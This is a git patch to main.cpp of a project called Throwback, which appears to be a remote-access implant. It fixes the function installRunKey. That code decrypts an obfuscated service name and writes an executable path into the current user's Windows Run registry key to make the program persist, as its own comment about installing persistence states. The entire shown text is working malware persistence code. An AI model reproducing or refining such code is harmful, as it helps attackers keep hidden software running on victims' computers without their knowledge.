From fa8e5779e3f9250d6a705337800a9dac8233d0da Mon Sep 17 00:00:00 2001 From: mreski Date: Tue, 30 Aug 2016 13:34:58 -0400 Subject: [PATCH] Fix registry check for runkey --- Throwback/main.cpp | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Throwback/main.cpp b/Throwback/main.cpp index 314f78c..9e9476d 100644 --- a/Throwback/main.cpp +++ b/Throwback/main.cpp @@ -180,9 +180,10 @@ int installRunKey() wstring value = decryptString(SVCNAME, (sizeof(SVCNAME)/sizeof(int))); //DON'T INSTALL PERSISTENCE IF IT'S ALREADY THERE - key.append(value.c_str()); + //key.append(value.c_str()); + int keyCheck = RegQueryValueEx(runKey, value.c_str(), 0, 0, 0, 0); tmpKey = regOpenKey(HKEY_CURRENT_USER, key.c_str(), KEY_ALL_ACCESS); - if(tmpKey != NULL) + if(keyCheck != 0) { if(RegSetValueEx(runKey, value.c_str(), 0, REG_SZ, (BYTE *)DSTEXE, len + 1) == ERROR_SUCCESS) {